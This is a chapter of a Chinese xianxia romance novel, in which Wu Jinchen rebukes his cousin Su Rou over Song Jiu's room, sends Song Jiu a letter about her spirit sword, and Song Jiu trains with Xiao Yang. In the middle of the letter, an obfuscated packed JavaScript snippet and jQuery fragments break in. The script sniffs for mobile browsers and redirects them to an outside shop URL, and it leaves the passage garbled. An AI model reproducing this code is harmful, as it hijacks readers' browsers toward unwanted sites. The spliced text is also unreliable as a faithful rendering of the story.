宋玖站在邬锦尘的身后,见状,恍惚间觉得自己像是个狐假虎威的小人,像个一昭得势就作威作福的人。
这个想法令她不禁汗颜。她擦了擦额头不存在的汗珠,心道:“这下彻底完蛋了……”
她一边庆幸得罪表妹的任务不用她自己动手,一边替表妹担心接下来专属于她的暴风雨。
“少主恕罪,是表小姐吩咐的,我们不敢不从啊……”家丁解释道。
邬锦尘气势冲冲起身往外走,走到一半像是想起宋玖来,突然回过头,道:“你先在这好好休息。”
宋玖略略点头,随后便看着邬锦尘起步离开。
她在脑中忽然想到,自己这个时候是不是应该按照往日剧本那样,先是阻拦一番,然后劝说邬锦尘表小姐不是故意的之类的话。
想到这里,她不禁觉得有些困。
宋玖打了个哈欠,走到门口将门一关,然后躲到床上躺着。
虽然方才有些话是违心的,但有一点她没有说错,这个被子真的很软很香。不知道是用什么香料熏的,下次找个机会问问好了。
邬府后院一处院落中,一位丫鬟急匆匆跑进屋里。
“小姐!公子正朝着我们院子来了。”
“真的?”苏柔以为自己听岔了,她回头见丫鬟郑重点头,惊讶得握不住手里的唇脂。
青色的瓷罐“哐当当”在桌上打转。
声音落入耳中,使她立即回神,连忙转头朝镜子里的自己望去。她目光扫过镜子里的自己的每一寸肌肤,每一个角落,见没有异样后,又抬手扶了扶自己额前的碎发,这才转身一边朝门外走一边整理身上衣服的褶皱。
苏柔刚踏出门槛,便看到迎面走来的邬锦尘,忙扬起笑脸迎上道:“表哥,你来看我啦。”她看到邬锦尘阴沉的脸,瞬间收起脸上的笑,“怎么了,发生什么事情?表哥。”
邬锦尘垂眸扫过面前那张精致的脸,冷声质问道:“宋玖的房间是你让人弄的?”
苏柔没想到这件事那么快就被表哥知道了,她吓得脸色微微发白,张口想要争辩,却找不到理由。
“你知道你这么做会有损邬氏一族颜面吗?你让外面的人怎么看我们邬氏子弟?”邬锦尘冷声斥问。
苏柔从小到大从来没有听过有人这么说她,更何况表哥身后跟着一众仆人,她顿时觉得颜面扫地。
一时间面颊通红,双眼盈泪,忍着哭腔解释道:“表哥你怎么了?这是你第一次回来后不先见我,反而去见了别人。分明是那间房间里的柜子太旧,我想找人换个新的,又怕耽搁她们休息这才暂时停下的。”
苏柔本以为表哥听了她的解释会消气,谁知,他竟直接转身离开。他离开之前说的话,就像是一把刀一般扎在苏柔紧缩的心脏上。
“他们的事不用你来管,以后你也不要与他们有任何牵扯。”
这句话将她脸上的表情一通钉着,丫鬟见邬锦尘已经走远,小心翼翼挪到苏柔的身侧,放轻声音道:“小姐,公子已经走了。”
苏柔这时才有了反应,她那张刚画好妆的脸像是被揉成一团的纸一样扭曲到一起。她一边用手捂着脸,一边蹲下来。
丫鬟着急,陪着小姐一同蹲着,“小姐,您别哭啊……”
苏柔哭泣的声音从指缝里漏出来,“表哥他变了,牡丹,表哥他变了……”她说着从手心里抬起脸,刚画好的妆被眼泪一冲,瞬间化了。
她抓着牡丹的手,哭得泣不成声,“他以前都是先来看我的,他从来不会对我冷脸,从来没有这样和我说过话,牡丹,牡丹你听见了嘛,他刚刚让我离那些人远远的……”
牡丹搂着小姐,眉毛纠成一团,神色痛苦,“我听见了,小姐,我听见了。”
“你说表哥他是不是不喜欢我了,毕竟他以前……”
“不是的,小姐。”牡丹立即打断道:“公子以前对小姐那么好,这些都是真的,只是小姐这次不分青红皂白直接动手,让公子觉得丢颜面了。小姐做什么都是对的,公子以前最宠爱小姐了,不是吗?”
苏柔听到后,哭泣声缓缓止住,她有些不自信,“真的吗?可是表哥这次回来都没有给我带东西。”
“带了!这个。”牡丹从怀里掏出一个红色正方形的锦盒。她一边递到苏柔的手里,一边说道:“方才小姐没出来的时候公子就给我了,说是给小姐带的礼物。”
苏柔捧着那块红色锦盒,迟迟没有打开,她眼神一闪,面露犹豫地看向牡丹,“真的是表哥给我的吗?”
牡丹笃定般地点点头,催促道:“就是公子给的,小姐快打开吧。”
苏柔擦了擦眼上的泪痕,又就着衣服抹了抹手上的泪水,打开锦盒前她一不自觉地屏住呼吸,“咔”一声,锦盒被打开了。
里面是一对耳坠子。
苏柔脸上有些错愕,“这……不是我之前喜欢的那对吗?表哥怎么会知道?”
牡丹笑了笑,“我告诉公子院子里的小厮,他们自然有联络公子的办法。你看,公子给小姐买了一直想要的东西,还能说不在意小姐嘛?”
苏柔有些犹豫,“可……我总觉得……”
牡丹将锦盒里的东西移到苏柔眼前,解释道:“小姐,你看看,做这耳坠子的工匠是不是那位只给邬氏族人服务的?若不是公子出手,谁还能拿到?”
苏柔将锦盒握在手心里,低头呢喃,“你说的也对。”
“小姐,这东西不能明目张胆的带在身上,毕竟,您现在还不是邬氏的人呢。”牡丹提醒道。
“我知道。”苏柔收下东西,鼻子还是红红的,眼睛里却带着一丝高兴。
时至晌午,宋玖见丫鬟送饭进来,还带来一封给宋玖的信。
宋玖拿着黄纸封面上写着九姑娘亲启的信封,疑惑道:“给我的?”
“是,公子交代,要亲手交到姑娘手里。”丫鬟答完话,立即退了出去。
宋玖打开信封,翻开里面的纸,上面写了密密麻麻的小字,看着苍劲有力,十分好看。
“九姑娘亲启。
让姑娘住进邬府,却让你受尽委屈,实在是邬某的过错。只是我事物缠身,实在不能亲自与姑娘道说,万望姑娘见谅。此事我已解决,九姑娘日后不必因此烦心。
邬某想起往日承诺姑娘之事,日后怕是不能兑现。只是姑娘佩剑十分有灵气,万不能辱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964433|214436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
没,姑娘无事之时可替它取一名,方便称呼……”
宋玖一边嚼着嘴里的饭菜,一边歪头看着信封。
在看到信封上写着“只有邬氏之人才能得到邬氏剑”的时候,宋玖腮帮子顿时停住。
“?”
什么意思,他不会是要威胁自己吧?总不能因为自己拿了他们家的剑,就逼着自己嫁给他吧?
她深吸一口气,憋着耐心继续往后看。
“此剑竟对没有邬氏血脉之人认主,表示九姑娘确非常人,你很特别,是个例外。”看到这里,宋玖这才吐出方才憋进去的气。
她心中一松,早说嘛,差点吓我一大跳。
她一转头,又夹了一筷子的菜送入口中。她目光扫过信封后面的字,左看右看,发现没什么重要的事。
这封信总得来说就是一封没有道歉礼的道歉信,信的后面提议宋玖给那把灵剑取个名字,并表示他不会再教宋玖法术了。
对此,她呵呵一笑,表示还真让萧阳那个大嘴巴给说中了。
她歪着头,想了想,决定用“鉴真”这个名字。
鉴真心,鉴真情。
非常好。
修炼没了邬锦尘,对宋玖来说没有丝毫影响。
下午的时候,她找来了萧阳给她指导。
“这边,手势往上抬。”萧阳一边看着她举剑的动作,一边用手打了打她放低的手背,指挥道。
宋玖看了看头顶的太阳,忍着额头上快要流下来的汗珠,埋怨道:“我看别人修炼不是只用记住口诀的嘛,怎么到你这里就变成了练体力了?”
萧阳一副含笑的表情,他双手抱臂来回走动,“如果不先有健康的体魄怎么能承受得住强大的法力。你现在不练习这些,万一哪天得到绝世机缘,法术猛涨,到时候爆体而亡了怎么办?”
宋玖拧眉,举剑的姿势没动,“我怀疑你在咒我!”
“诶诶诶,我可没有。”萧阳连忙摆手,“这是多年修炼得到的教训,我这么快就传授给了你,你竟然还不知足?”他佯装愤怒的模样。
宋玖实在没空和他贫嘴,举着剑的那只手好像要断掉一般,她生无可恋道:“还要多久啊,大师,我快要坚持不住了……”
“坚持住!坚持就是胜利!”
“哐当”一声,那把剑脱力落地,发出铿锵几声。
宋玖见状连忙朝一旁的石桌上趴去,“不行了,我没力气了,让我歇会……”
萧阳怒其不争,站在她身后,猛敲石桌,将宋玖放在石桌上的脸捶得一颤一颤,“你这样懈怠,怎么可能修炼好法术!”
宋玖转过头,斜眼看他,“我记得我练习法术上手挺快的,你干嘛非要‘折磨’我?”她说着哭喊起来,那声音好不凄惨。
“我说了,你身体跟不上会爆体而亡!”萧阳有些生气。
宋玖猛地惊坐起来,一脸顿悟,“原来你真的不是在咒我!”
见宋玖有醒悟之意,萧阳拉着她的胳膊往外拽,“快起来练……”
宋玖双手扒拉着桌沿,一脸不情愿,“可是我饿了,人饿了就要吃东西,不吃东西就没有力气,没有力气就举不了剑……”